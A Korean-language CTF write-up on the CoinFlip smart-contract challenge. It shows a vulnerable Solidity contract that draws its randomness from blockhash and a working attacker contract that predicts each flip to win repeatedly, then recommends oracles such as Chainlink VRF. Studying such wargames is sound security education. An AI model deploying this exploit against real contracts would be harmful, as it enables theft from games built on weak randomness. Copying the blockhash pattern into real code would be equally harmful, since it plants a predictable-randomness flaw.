문제 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
컨트랙트의 이름 처럼 동전던지기 게임이 구현되어있다.
플레이어는 flip 함수를 호출하여 true 또는 false 를 넘겨줄 수 있는데, 함수 내부에 정해진 로직에 의해 결정된 side 값과 인자가 일치하면 승수가 쌓인다.
side 값은 blockhash를 특정 값으로 나눈 몫으로 0 또는 1로 결정된다.
플레이어는 승수(consecutiveWins) 값을 10으로 만들면 해결되는 문제이다.
운이 좋다면 10번을 찍어서 10승을 쌓을 수 있겠지만 확률상 낮다. 이번 문제는 확률에 의지하지 않고 푸는 것을 의도한 문제이다.
blockhash를 이용하므로 하나의 블럭에 트렌젝션 10개를 빠르게 넣어 채굴시킨다면 승산이 있지 않을까? 하는 방법도 생각해 볼 수 있겠으나 컨트랙트는 lasthash 값을 저장하고 재사용하려고 할 시 revert 시키고 있다.
blockhash 를 논리에 이용하는 것의 가장 큰 문제점은 그 값이 고유하지 않다는 것이다.
solidity 가 아닌 본래 프로그램에서 난수를 만드는 방법은 여러 source 를 바탕으로 hash 값을 만드는 것이다.
예를 들면 시간, 마우스 위치, 기타등등 무작위한 source 를 이용해서 hash 함수에 input 으로 제공하여 결과로 무작위 값을 얻는 것이다.
blockhash 는 evm 이 tx 들을 처리할 때 피연산되는 모든 tx 들이 공유하는 값이다.
따라서 우리는 새로운 컨트랙트를 만들어 side 값을 미리 계산하고 flip을 호출하여 승수를 쌓을 수 있다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./CoinFlip.sol";
contract CoinFlipHack {
uint256 lastHash;
address target;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = _target;
}
function flip() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool guess = coinFlip == 1 ? true : false;
CoinFlip(target).flip(guess);
}
}
위와 같은 컨트랙트를 만들고 배포한다.
원본 CoinFlip 컨트랙트의 flip 함수와 같은 방식으로 side를 계산하고 그 값을 바탕으로 flip 을 호출한다.
위에서 언급했듯 blockhash 는 evm 이 처리할 모든 tx에서 일치하므로 side 값을 정확히 계산해낼 수 있는 것이다!
블록체인은 자체적으로 난수를 생성하는 기능을 갖고 있지 않기에 다른 방법을 이용해야 한다.
스마트 계약은 블록체인 내부에서 배포되어 동작한다. 보통 블록체인은 닫힌 네트워크로 표현되는데, 세상에 존재하는 일반적인 데이터(날씨, 대통령 후보, 스포츠 게임 승/패 정보, 기타 API 등등) 들이 저장되지 않기 때문이다.
이러한 데이터들이 저장되지 않는 이유는 블록체인에 기록하는 행위 자체가 비용이 드는 행위이기 때문이고 이러한 데이터를 전부 포괄할 수 도 없기 때문이다 (변화하는 날씨 정보를 전부 온 체인에 올릴 수 있겠는가..?).
그러나 특정 분야, 비즈니스의 영역에서 스마트 계약을 도입하려고 한다면 이러한 외부 데이터를 필요로 하게 된다.
오라클은 이러한 외부 데이터를 블록체인 내부로 옮겨오는 중간자 역할을 한다.
대표적으로 chainlink 같은 탈중앙화된 오라클이 존재한다.
이미지 출처: (https://www.horizen.io/academy/blockchain-oracles/)
난수 또한 블록체인 바깥에서 들여와야 하는 값으로 관련된 대표적 서비스는 chainlink-vrf 가 존재한다.